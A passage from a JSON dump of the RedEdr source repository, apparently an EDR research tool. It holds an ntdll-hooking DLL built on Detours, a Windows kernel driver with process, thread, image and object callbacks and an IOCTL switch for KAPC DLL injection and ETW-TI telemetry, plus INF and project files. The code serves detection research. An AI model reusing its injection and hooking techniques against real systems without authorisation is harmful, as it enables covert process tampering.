(t_NtFreeVirtualMemory)DetourFindFunction(\"ntdll.dll\", \"NtFreeVirtualMemory\");\n    Real_NtResumeThread = (pNtResumeThread)DetourFindFunction(\"ntdll.dll\", \"NtResumeThread\");\n\n    DetourRestoreAfterWith();\n    DetourTransactionBegin();\n    DetourUpdateThread(GetCurrentThread());\n\n    // All the hooks\n    //DetourAttach(&(PVOID&)Real_NtSetContextThread, Catch_NtSetContextThread); // broken\n    //DetourAttach(&(PVOID&)Real_LdrLoadDll, Catch_LdrLoadDll); // broken\n    //DetourAttach(&(PVOID&)Real_NtCreateNamedPipeFile, Catch_NtCreateNamedPipeFile);  // broken for cs410 stager\n    DetourAttach(&(PVOID&)Real_LdrGetProcedureAddress, Catch_LdrGetProcedureAddress);\n    DetourAttach(&(PVOID&)Real_NtQueueApcThread, Catch_NtQueueApcThread);\n    DetourAttach(&(PVOID&)Real_NtQueueApcThreadEx, Catch_NtQueueApcThreadEx);\n    DetourAttach(&(PVOID&)Real_NtCreateProcess, Catch_NtCreateProcess);\n    DetourAttach(&(PVOID&)Real_NtCreateThread, Catch_NtCreateThread);\n    DetourAttach(&(PVOID&)Real_NtCreateThreadEx, Catch_NtCreateThreadEx);\n    DetourAttach(&(PVOID&)Real_NtResumeThread, Catch_NtResumeThread);\n    DetourAttach(&(PVOID&)Real_NtOpenProcess, Catch_NtOpenProcess);\n    DetourAttach(&(PVOID&)Real_NtLoadDriver, Catch_NtLoadDriver);\n    DetourAttach(&(PVOID&)Real_NtCreateSection, Catch_NtCreateSection);\n    DetourAttach(&(PVOID&)Real_NtCreateProcessEx, Catch_NtCreateProcessEx);\n    DetourAttach(&(PVOID&)Real_NtCreateEvent, Catch_NtCreateEvent);\n    DetourAttach(&(PVOID&)Real_NtCreateTimer, Catch_NtCreateTimer);\n    DetourAttach(&(PVOID&)Real_NtCreateTimer2, Catch_NtCreateTimer2);\n    DetourAttach(&(PVOID&)Real_NtReadVirtualMemory, Catch_NtReadVirtualMemory);\n    DetourAttach(&(PVOID&)Real_NtOpenThread, Catch_NtOpenThread);\n    DetourAttach(&(PVOID&)Real_NtWriteVirtualMemory, Catch_NtWriteVirtualMemory);\n    //DetourAttach(&(PVOID&)Real_NtMapViewOfSection, Catch_NtMapViewOfSection);\n\n    DetourAttach(&(PVOID&)Real_NtAllocateVirtualMemory, Catch_NtAllocateVirtualMemory);\n    DetourAttach(&(PVOID&)Real_NtProtectVirtualMemory, Catch_NtProtectVirtualMemory);\n    DetourAttach(&(PVOID&)Real_NtFreeVirtualMemory, Catch_NtFreeVirtualMemory);\n\n    error = DetourTransactionCommit();\n    if (error == NO_ERROR) {\n        LOG_A(LOG_INFO, \"MS-detours: ntdll.dll hijacking success\\n\");\n    }\n    else {\n        LOG_A(LOG_ERROR, \"MS-detours: Error detouring %ld\\n\", error);\n    }\n    SendDllPipe(stop_str);\n    HooksInitialized = TRUE;\n\n    return 0;\n}\n\n\nBOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved)\n{\n    (void)hinst;\n    (void)reserved;\n\n    if (DetourIsHelperProcess()) {\n        return TRUE;\n    }\n    if (dwReason == DLL_PROCESS_ATTACH) {\n        InitHooksThread(NULL);\n    }\n    else if (dwReason == DLL_PROCESS_DETACH) {\n        /* DetourTransactionBegin();\n         DetourUpdateThread(GetCurrentThread());\n         DetourDetach(&(PVOID&)TrueSleepEx, TimedSleepEx);\n         error = DetourTransactionCommit();\n\n         printf(\"simple\" DETOURS_STRINGIFY(DETOURS_BITS) \".dll:\"\n             \" Removed SleepEx() (result=%ld), slept %ld ticks.\\n\", error, dwSlept);\n         fflush(stdout);\n         */\n    }\n    return TRUE;\n}"
  },
  {
    "path": "RedEdrDll/framework.h",
    "content": "#pragma once\n\n#define WIN32_LEAN_AND_MEAN             // Exclude rarely-used stuff from Windows headers\n// Windows Header Files\n#include <windows.h>\n"
  },
  {
    "path": "RedEdrDll/logging.cpp",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include \"../Shared/common.h\"\n\nvoid LOG_A(int verbosity, const char* format, ...)\n{\n    char message[DATA_BUFFER_SIZE] = \"[RedEdr DLL] \";\n    size_t offset = strlen(message);\n\n    va_list arg_ptr;\n    va_start(arg_ptr, format);\n    int ret = vsnprintf_s(&message[offset], DATA_BUFFER_SIZE - offset, DATA_BUFFER_SIZE - offset, format, arg_ptr);\n    va_end(arg_ptr);\n\n    OutputDebugStringA(message);\n}\n\n\nvoid LOG_W(int verbosity, const wchar_t* format, ...)\n{\n    WCHAR message[DATA_BUFFER_SIZE] = L\"[RedEdr DLL] \";\n    size_t offset = wcslen(message);\n\n    va_list arg_ptr;\n    va_start(arg_ptr, format);\n    int ret = vswprintf(&message[offset], DATA_BUFFER_SIZE - offset, format, arg_ptr);\n    va_end(arg_ptr);\n\n    OutputDebugStringW(message);\n}"
  },
  {
    "path": "RedEdrDll/logging.h",
    "content": "#pragma once\n\n#include \"../Shared/common.h\"\nvoid LOG_W(int verbosity, const wchar_t* format, ...);\nvoid LOG_A(int verbosity, const char* format, ...);\n"
  },
  {
    "path": "RedEdrDriver/Driver.c",
    "content": "#include <Ntifs.h>\n#include <ntddk.h>\n\n// Needs to be set on the project properties as well\n#pragma comment(lib, \"FltMgr.lib\")\n\n#include \"settings.h\"\n#include \"utils.h\"\n#include \"upipe.h\"\n#include \"kcallbacks.h\"\n#include \"hashcache.h\"\n#include \"../Shared/common.h\"\n\n// Internal driver device name, cannot be used userland\nUNICODE_STRING DEVICE_NAME = RTL_CONSTANT_STRING(L\"\\\\Device\\\\RedEdr\");\n\n// Symlink used to reach the driver, can be used userland\nUNICODE_STRING SYM_LINK = RTL_CONSTANT_STRING(L\"\\\\??\\\\RedEdr\");\n\n\n// To remove ObRegisterCallback at the end\nPVOID pCBRegistrationHandle = NULL;\n\n\nNTSTATUS MyDriverDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {\n    PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);\n    NTSTATUS status = STATUS_SUCCESS;\n    ULONG controlCode = stack->Parameters.DeviceIoControl.IoControlCode;\n\n    UNREFERENCED_PARAMETER(DeviceObject);\n\n    // Ensure we're at correct IRQL level for operations\n    if (KeGetCurrentIrql() > PASSIVE_LEVEL) {\n        LOG_A(LOG_INFO, \"[IOCTL] Invalid IRQL level for operation\\n\");\n        status = STATUS_INVALID_DEVICE_STATE;\n        Irp->IoStatus.Status = status;\n        Irp->IoStatus.Information = 0;\n        IoCompleteRequest(Irp, IO_NO_INCREMENT);\n        return status;\n    }\n\n    switch (controlCode) {\n    case IOCTL_MY_IOCTL_CODE: {\n        LOG_A(LOG_INFO, \"[IOCTL] Handling IOCTL\\n\");\n\n        // Validate input buffer\n        size_t inputBufferLength = stack->Parameters.DeviceIoControl.InputBufferLength;\n        \n        if (inputBufferLength < sizeof(MY_DRIVER_DATA) || \n            Irp->AssociatedIrp.SystemBuffer == NULL) {\n            LOG_A(LOG_INFO, \"[IOCTL] Invalid input buffer: size=%zu, expected=%zu\\n\", \n                inputBufferLength, sizeof(MY_DRIVER_DATA));\n            status = STATUS_INVALID_PARAMETER;\n            Irp->IoStatus.Information = 0;\n            break;\n        }\n\n        // read IOCTL\n        PMY_DRIVER_DATA data = (PMY_DRIVER_DATA)Irp->AssociatedIrp.SystemBuffer;\n        \n        // Ensure filename is null-terminated\n        data->filename[TARGET_WSTR_LEN - 1] = L'\\0';\n\n        LOG_A(LOG_INFO, \"[IOCTL] Received from user-space: enabled: %i/%i  filename: %ls\\n\", \n            data->enable, data->enable_dll_injection, data->filename);\n        char* answer;\n        if (data->enable) {\n            g_Settings.enable_kapc_injection = data->enable_dll_injection;\n            g_Settings.enable_etwti_events = data->enable_etwti_events;\n            g_Settings.enable_etwti_events_defender = data->enable_etwti_events_defender;\n            g_Settings.enable_logging = 1;\n\n            RtlZeroMemory(g_Settings.target, sizeof(g_Settings.target));\n            wcscpy_s(g_Settings.target, TARGET_WSTR_LEN, data->filename);\n\n            if (!IsUserspacePipeConnected()) {\n                int ret = ConnectUserspacePipe();\n                if (ret) {\n                    LOG_A(LOG_INFO, \"[IOCTL] Start OK\\n\");\n                    answer = \"OK\";\n                }\n                else {\n                    LOG_A(LOG_INFO, \"[IOCTL] Start ERROR\\n\");\n                    answer = \"FAIL\";\n                }\n            }\n            else {\n                answer = \"OK\";\n            }\n\n            // \n            if (g_Settings.enable_etwti_events_defender) {\n                LOG_A(LOG_INFO, \"[IOCTL] Enabling ETW-TI Defender events\\n\");\n                EnableTelemetryLoggingForProcessByName(L\"MsMpEng.exe\");\n            }\n\n        }\n        else {\n            LOG_A(LOG_INFO, \"[IOCTL] Stop\\n\");\n            g_Settings.enable_kapc_injection = 0;\n            g_Settings.enable_etwti_events = 0;\n            g_Settings.enable_etwti_events_defender = 0;\n            g_Settings.enable_logging = 0;\n            RtlZeroMemory(g_Settings.target, sizeof(g_Settings.target));\n            DisconnectUserspacePipe();\n            answer = \"OK\";\n        }\n\n        // Answer IOCTL - Validate output buffer size\n        size_t messageLen = strlen(answer) + 1;\n        size_t outputBufferLength = stack->Parameters.DeviceIoControl.OutputBufferLength;\n        \n        if (outputBufferLength < messageLen) {\n            LOG_A(LOG_INFO, \"[IOCTL] Output buffer too small: %zu < %zu\\n\", \n                outputBufferLength, messageLen);\n            status = STATUS_BUFFER_TOO_SMALL;\n            Irp->IoStatus.Information = messageLen;\n            break;\n        }\n        \n        RtlCopyMemory(Irp->AssociatedIrp.SystemBuffer, answer, messageLen);\n        Irp->IoStatus.Information = (ULONG) messageLen;\n        break;\n    }\n\n    default:\n        status = STATUS_INVALID_DEVICE_REQUEST;\n        Irp->IoStatus.Information = 0;\n        break;\n    }\n\n    Irp->IoStatus.Status = status;\n    IoCompleteRequest(Irp, IO_NO_INCREMENT);\n\n    return status;\n}\n\n\nvoid LoadKernelCallbacks() {\n    NTSTATUS ret;\n\n    // Process\n    if (g_Settings.init_processnotify) {\n        ret = PsSetCreateProcessNotifyRoutineEx(CreateProcessNotifyRoutine, FALSE);\n        if (ret == STATUS_SUCCESS) {\n            LOG_A(LOG_INFO, \"CreateProcessNotifyRoutine launched successfully\\n\");\n        }\n        else if (ret == STATUS_INVALID_PARAMETER) {\n            LOG_A(LOG_INFO, \"ERROR: CreateProcessNotifyRoutine Invalid parameter\\n\");\n        }\n        else if (ret == STATUS_ACCESS_DENIED) {\n            LOG_A(LOG_INFO, \"ERROR: CreateProcessNotifyRoutine Access denied\\n\");\n        }\n    }\n    \n    // Thread\n    if (g_Settings.init_threadnotify) {\n        ret = PsSetCreateThreadNotifyRoutine(CreateThreadNotifyRoutine);\n        if (ret == STATUS_SUCCESS) {\n            LOG_A(LOG_INFO, \"CreateThreadNotifyRoutine launched successfully\\n\");\n        }\n        else if (ret == STATUS_INVALID_PARAMETER) {\n            LOG_A(LOG_INFO, \"ERROR: CreateThreadNotifyRoutine Invalid parameter\\n\");\n        }\n        else if (ret == STATUS_ACCESS_DENIED) {\n            LOG_A(LOG_INFO, \"ERROR: CreateThreadNotifyRoutine Access denied\\n\");\n        }\n    }\n\n    // Image\n    if (g_Settings.init_imagenotify) {\n        ret = PsSetLoadImageNotifyRoutine(LoadImageNotifyRoutine);\n        if (ret == STATUS_SUCCESS) {\n            LOG_A(LOG_INFO, \"LoadImageNotifyRoutine launched successfully\\n\");\n        }\n        else if (ret == STATUS_INVALID_PARAMETER) {\n            LOG_A(LOG_INFO, \"ERROR: LoadImageNotifyRoutine Invalid parameter\\n\");\n        }\n        else if (ret == STATUS_ACCESS_DENIED) {\n            LOG_A(LOG_INFO, \"ERROR: LoadImageNotifyRoutine Access denied\\n\");\n        }\n    }\n\n    // Open\n    if (g_Settings.init_obnotify) {\n        // https://github.com/microsoft/Windows-driver-samples/blob/main/general/obcallback/driver/callback.c\n        OB_CALLBACK_REGISTRATION  CBObRegistration = { 0 };\n        UNICODE_STRING CBAltitude = { 0 };\n        RtlInitUnicodeString(&CBAltitude, L\"1000\");\n        TD_CALLBACK_REGISTRATION CBCallbackRegistration = { 0 };\n\n        OB_OPERATION_REGISTRATION CBOperationRegistrations[2] = { { 0 }, { 0 } };\n        CBOperationRegistrations[0].ObjectType = PsProcessType;\n        CBOperationRegistrations[0].Operations |= OB_OPERATION_HANDLE_CREATE;\n        CBOperationRegistrations[0].Operations |= OB_OPERATION_HANDLE_DUPLICATE;\n        CBOperationRegistrations[0].PreOperation = CBTdPreOperationCallback;\n        //CBOperationRegistrations[0].PostOperation = CBTdPostOperationCallback;\n\n        CBOperationRegistrations[1].ObjectType = PsThreadType;\n        CBOperationRegistrations[1].Operations |= OB_OPERATION_HANDLE_CREATE;\n        CBOperationRegistrations[1].Operations |= OB_OPERATION_HANDLE_DUPLICATE;\n        CBOperationRegistrations[1].PreOperation = CBTdPreOperationCallback;\n        //CBOperationRegistrations[1].PostOperation = CBTdPostOperationCallback;\n\n        CBObRegistration.Version = OB_FLT_REGISTRATION_VERSION;\n        CBObRegistration.OperationRegistrationCount = 2;\n        CBObRegistration.Altitude = CBAltitude;\n        CBObRegistration.RegistrationContext = &CBCallbackRegistration;\n        CBObRegistration.OperationRegistration = CBOperationRegistrations;\n        ret = ObRegisterCallbacks(&CBObRegistration, &pCBRegistrationHandle);\n        if (ret == STATUS_SUCCESS) {\n            LOG_A(LOG_INFO, \"ObRegister launched successfully\\n\");\n        }\n        else if (ret == STATUS_INVALID_PARAMETER) {\n            LOG_A(LOG_INFO, \"ERROR: ObRegister Invalid parameter\\n\");\n        }\n        else if (ret == STATUS_ACCESS_DENIED) {\n            LOG_A(LOG_INFO, \"ERROR: ObRegister Access denied\\n\");\n        }\n    }\n}\n\n\nvoid RedEdrUnload(_In_ PDRIVER_OBJECT DriverObject) {\n    DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, \"Unloading routine called\\n\");\n\n    CleanupPipe();\n\n    // Unset the callbacks only if they were set\n    if (g_Settings.init_processnotify) {\n        PsSetCreateProcessNotifyRoutineEx(CreateProcessNotifyRoutine, TRUE);\n    }\n    if (g_Settings.init_threadnotify) {\n        PsRemoveCreateThreadNotifyRoutine(CreateThreadNotifyRoutine);\n    }\n    if (g_Settings.init_imagenotify) {\n        PsRemoveLoadImageNotifyRoutine(LoadImageNotifyRoutine);\n    }\n    if (pCBRegistrationHandle != NULL) {\n        ObUnRegisterCallbacks(pCBRegistrationHandle);\n        pCBRegistrationHandle = NULL;\n    }\n\n    // Remove all data\n    FreeHashTable();\n    UninitCallbacks();\n\n    // Delete the driver device \n    IoDeleteDevice(DriverObject->DeviceObject);\n    // Delete the symbolic link\n    IoDeleteSymbolicLink(&SYM_LINK);\n}\n\n\nNTSTATUS MyDriverCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp) {\n    UNREFERENCED_PARAMETER(DeviceObject);\n\n    Irp->IoStatus.Status = STATUS_SUCCESS;\n    Irp->IoStatus.Information = 0;\n    IoCompleteRequest(Irp, IO_NO_INCREMENT);\n\n    return STATUS_SUCCESS;\n}\n\n\nNTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {\n    UNREFERENCED_PARAMETER(RegistryPath); // Prevent compiler error such as unreferenced parameter (error 4)\n    NTSTATUS status;\n\n    LOG_A(LOG_INFO, \"RedEdr Kernel Driver %s\\n\", REDEDR_VERSION);\n    InitializeHashTable();\n    InitializePipe();\n    init_settings();\n    if (!InitCallbacks()) {\n        LOG_A(LOG_INFO, \"InitCallbacks failed: insufficient resources\\n\");\n        return STATUS_INSUFFICIENT_RESOURCES;\n    }\n\n    // Setting the unload routine to execute\n    DriverObject->DriverUnload = RedEdrUnload;\n\n    // IOCTL\n    DriverObject->MajorFunction[IRP_MJ_CREATE] = MyDriverCreateClose;\n    DriverObject->MajorFunction[IRP_MJ_CLOSE] = MyDriverCreateClose;\n    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyDriverDeviceControl;\n\n    // Initializing a device object and creating it\n    PDEVICE_OBJECT DeviceObject;\n    UNICODE_STRING deviceName = DEVICE_NAME;\n    UNICODE_STRING symlinkName = SYM_LINK;\n    status = IoCreateDevice(\n        DriverObject,\t\t   // our driver object,\n        0,\t\t\t\t\t   // no need for extra bytes,\n        &deviceName,           // the device name,\n        FILE_DEVICE_UNKNOWN,   // device type,\n        FILE_DEVICE_SECURE_OPEN,   // characteristics flags - require admin access,\n        FALSE,\t\t\t\t   // not exclusive,\n        &DeviceObject\t\t   // the resulting pointer\n    );\n    if (!NT_SUCCESS(status)) {\n        LOG_A(LOG_INFO, \"Device creation failed\\n\");\n        return status;\n    }\n\n    // Creating the symlink that we will use to contact our driver\n    status = IoCreateSymbolicLink(&symlinkName, &deviceName);\n    if (!NT_SUCCESS(status)) {\n        LOG_A(LOG_INFO, \"Symlink creation failed\\n\");\n        IoDeleteDevice(DeviceObject);\n        return status;\n    }\n\n    LoadKernelCallbacks(); // always load the callbacks, based on config\n    if (g_Settings.enable_logging) { // only connect when we enable this (deamon may not be ready on load)\n        if (!ConnectUserspacePipe()) {\n            LOG_A(LOG_INFO, \"Warning: Failed to connect userspace pipe during driver load\\n\");\n        }\n    }\n\n    LOG_A(LOG_INFO, \"RedEdr driver loaded successfully\\n\");\n    return STATUS_SUCCESS;\n}\n\n"
  },
  {
    "path": "RedEdrDriver/MyDumbEDRDriver.inf",
    "content": ";\n; MyDumbEDRDriver.inf\n;\n\n[Version]\nSignature=\"$WINDOWS NT$\"\nClass=System ; TODO: specify appropriate Class\nClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid\nProvider=%ManufacturerName%\nCatalogFile=MyDumbEDRDriver.cat\nDriverVer= ; TODO: set DriverVer in stampinf property pages\nPnpLockdown=1\n\n[DestinationDirs]\nDefaultDestDir = 12\nMyDumbEDRDriver_Device_CoInstaller_CopyFiles = 11\n\n[SourceDisksNames]\n1 = %DiskName%,,,\"\"\n\n[SourceDisksFiles]\nMyDumbEDRDriver.sys  = 1,,\nWdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames\n\n;*****************************************\n; Install Section\n;*****************************************\n\n[Manufacturer]\n%ManufacturerName%=Standard,NT$ARCH$\n\n[Standard.NT$ARCH$]\n%MyDumbEDRDriver.DeviceDesc%=MyDumbEDRDriver_Device, Root\\MyDumbEDRDriver ; TODO: edit hw-id\n\n[MyDumbEDRDriver_Device.NT]\nCopyFiles=Drivers_Dir\n\n[Drivers_Dir]\nMyDumbEDRDriver.sys\n\n;-------------- Service installation\n[MyDumbEDRDriver_Device.NT.Services]\nAddService = MyDumbEDRDriver,%SPSVCINST_ASSOCSERVICE%, MyDumbEDRDriver_Service_Inst\n\n; -------------- MyDumbEDRDriver driver install sections\n[MyDumbEDRDriver_Service_Inst]\nDisplayName    = %MyDumbEDRDriver.SVCDESC%\nServiceType    = 1               ; SERVICE_KERNEL_DRIVER\nStartType      = 3               ; SERVICE_DEMAND_START\nErrorControl   = 1               ; SERVICE_ERROR_NORMAL\nServiceBinary  = %12%\\MyDumbEDRDriver.sys\n\n;\n;--- MyDumbEDRDriver_Device Coinstaller installation ------\n;\n\n[MyDumbEDRDriver_Device.NT.CoInstallers]\nAddReg=MyDumbEDRDriver_Device_CoInstaller_AddReg\nCopyFiles=MyDumbEDRDriver_Device_CoInstaller_CopyFiles\n\n[MyDumbEDRDriver_Device_CoInstaller_AddReg]\nHKR,,CoInstallers32,0x00010000, \"WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller\"\n\n[MyDumbEDRDriver_Device_CoInstaller_CopyFiles]\nWdfCoInstaller$KMDFCOINSTALLERVERSION$.dll\n\n[MyDumbEDRDriver_Device.NT.Wdf]\nKmdfService =  MyDumbEDRDriver, MyDumbEDRDriver_wdfsect\n[MyDumbEDRDriver_wdfsect]\nKmdfLibraryVersion = $KMDFVERSION$\n\n[Strings]\nSPSVCINST_ASSOCSERVICE= 0x00000002\nManufacturerName=\"<Your manufacturer name>\" ;TODO: Replace with your manufacturer name\nDiskName = \"MyDumbEDRDriver Installation Disk\"\nMyDumbEDRDriver.DeviceDesc = \"MyDumbEDRDriver Device\"\nMyDumbEDRDriver.SVCDESC = \"MyDumbEDRDriver Service\"\n"
  },
  {
    "path": "RedEdrDriver/RedEdrDriver.inf",
    "content": ";\n; RedEdrDriver.inf\n;\n\n[Version]\nSignature=\"$WINDOWS NT$\"\nClass=System ; TODO: specify appropriate Class\nClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid\nProvider=%ManufacturerName%\nCatalogFile=RedEdrDriver.cat\nDriverVer= ; TODO: set DriverVer in stampinf property pages\nPnpLockdown=1\n\n[DestinationDirs]\nDefaultDestDir = 12\nRedEdrDriver_Device_CoInstaller_CopyFiles = 11\n\n[SourceDisksNames]\n1 = %DiskName%,,,\"\"\n\n[SourceDisksFiles]\nRedEdrDriver.sys  = 1,,\nWdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames\n\n;*****************************************\n; Install Section\n;*****************************************\n\n[Manufacturer]\n%ManufacturerName%=Standard,NT$ARCH$\n\n[Standard.NT$ARCH$]\n%RedEdrDriver.DeviceDesc%=RedEdrDriver_Device, Root\\RedEdrDriver ; TODO: edit hw-id\n\n[RedEdrDriver_Device.NT]\nCopyFiles=Drivers_Dir\n\n[Drivers_Dir]\nRedEdrDriver.sys\n\n;-------------- Service installation\n[RedEdrDriver_Device.NT.Services]\nAddService = RedEdrDriver,%SPSVCINST_ASSOCSERVICE%, RedEdrDriver_Service_Inst\n\n; -------------- RedEdrDriver driver install sections\n[RedEdrDriver_Service_Inst]\nDisplayName    = %RedEdrDriver.SVCDESC%\nServiceType    = 1               ; SERVICE_KERNEL_DRIVER\nStartType      = 3               ; SERVICE_DEMAND_START\nErrorControl   = 1               ; SERVICE_ERROR_NORMAL\nServiceBinary  = %12%\\RedEdrDriver.sys\n\n;\n;--- RedEdrDriver_Device Coinstaller installation ------\n;\n\n[RedEdrDriver_Device.NT.CoInstallers]\nAddReg=RedEdrDriver_Device_CoInstaller_AddReg\nCopyFiles=RedEdrDriver_Device_CoInstaller_CopyFiles\n\n[RedEdrDriver_Device_CoInstaller_AddReg]\nHKR,,CoInstallers32,0x00010000, \"WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller\"\n\n[RedEdrDriver_Device_CoInstaller_CopyFiles]\nWdfCoInstaller$KMDFCOINSTALLERVERSION$.dll\n\n[RedEdrDriver_Device.NT.Wdf]\nKmdfService =  RedEdrDriver, RedEdrDriver_wdfsect\n[RedEdrDriver_wdfsect]\nKmdfLibraryVersion = $KMDFVERSION$\n\n[Strings]\nSPSVCINST_ASSOCSERVICE= 0x00000002\nManufacturerName=\"<Your manufacturer name>\" ;TODO: Replace with your manufacturer name\nDiskName = \"RedEdrDriver Installation Disk\"\nRedEdrDriver.DeviceDesc = \"RedEdrDriver Device\"\nRedEdrDriver.SVCDESC = \"RedEdrDriver Service\"\n"
  },
  {
    "path": "RedEdrDriver/RedEdrDriver.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"12.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|ARM64\">\n      <Configuration>Debug</Configuration>\n      <Platform>ARM64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|ARM64\">\n      <Configuration>Release</Configuration>\n      <Platform>ARM64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <ProjectGuid>{F4BE109F-BB71-4F11-B265-686F0102CFE5}</ProjectGuid>\n    <TemplateGuid>{1bc93793-694f-48fe-9372-81e2b05556fd}</TemplateGuid>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <MinimumVisualStudioVersion>12.0</MinimumVisualStudioVersion>\n    <Configuration>Debug</Configuration>\n    <Platform Condition=\"'$(Platform)' == ''\">x64</Platform>\n    <RootNamespace>RedEdrDriver</RootNamespace>\n    <WindowsTargetPlatformVersion>$(LatestTargetPlatformVersion)</WindowsTargetPlatformVersion>\n    <ProjectName>RedEdrDriver</ProjectName>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <TargetVersion>Windows10</TargetVersion>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>\n    <ConfigurationType>Driver</ConfigurationType>\n    <DriverType>KMDF</DriverType>\n    <DriverTargetPlatform>Universal</DriverTargetPlatform>\n    <Driver_SpectreMitigation>false</Driver_SpectreMitigation>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <TargetVersion>Windows10</TargetVersion>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>\n    <ConfigurationType>Driver</ConfigurationType>\n    <DriverType>KMDF</DriverType>\n    <DriverTargetPlatform>Universal</DriverTargetPlatform>\n    <Driver_SpectreMitigation>false</Driver_SpectreMitigation>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|ARM64'\" Label=\"Configuration\">\n    <TargetVersion>Windows10</TargetVersion>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>\n    <ConfigurationType>Driver</ConfigurationType>\n    <DriverType>KMDF</DriverType>\n    <DriverTargetPlatform>Universal</DriverTargetPlatform>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|ARM64'\" Label=\"Configuration\">\n    <TargetVersion>Windows10</TargetVersion>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>\n    <ConfigurationType>Driver</ConfigurationType>\n    <DriverType>KMDF</DriverType>\n    <DriverTargetPlatform>Universal</DriverTargetPlatform>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>\n    <OutDir>c:\\RedEdr\\</OutDir>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>\n    <OutDir>C:\\RedEdr\\</OutDir>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|ARM64'\">\n    <DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|ARM64'\">\n    <DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <DriverSign>\n      <FileDigestAlgorithm>sha256</FileDigestAlgorithm>\n    </DriverSign>\n    <Link>\n      <AdditionalOptions>/integritycheck %(AdditionalOptions)</AdditionalOptions>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <DriverSign>\n      <FileDigestAlgorithm>sha256</FileDigestAlgorithm>\n    </DriverSign>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|ARM64'\">\n    <DriverSign>\n      <FileDigestAlgorithm>sha256</FileDigestAlgorithm>\n    </DriverSign>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|ARM64'\">\n    <DriverSign>\n      <FileDigestAlgorithm>sha256</FileDigestAlgorithm>\n    </DriverSign>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <Inf Include=\"RedEdrDriver.inf\" />\n  </ItemGroup>\n  <ItemGroup>\n    <FilesToPackage Include=\"$(TargetPath)\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"Driver.c\" />\n    <ClCompile Include=\"hashcache.c\" />\n    <ClCompile Include=\"kapcinjector.c\" />\n    <ClCompile Include=\"kcallbacks.c\" />\n    <ClCompile Include=\"settings.c\" />\n    <ClCompile Include=\"upipe.c\" />\n    <ClCompile Include=\"utils.c\" />\n  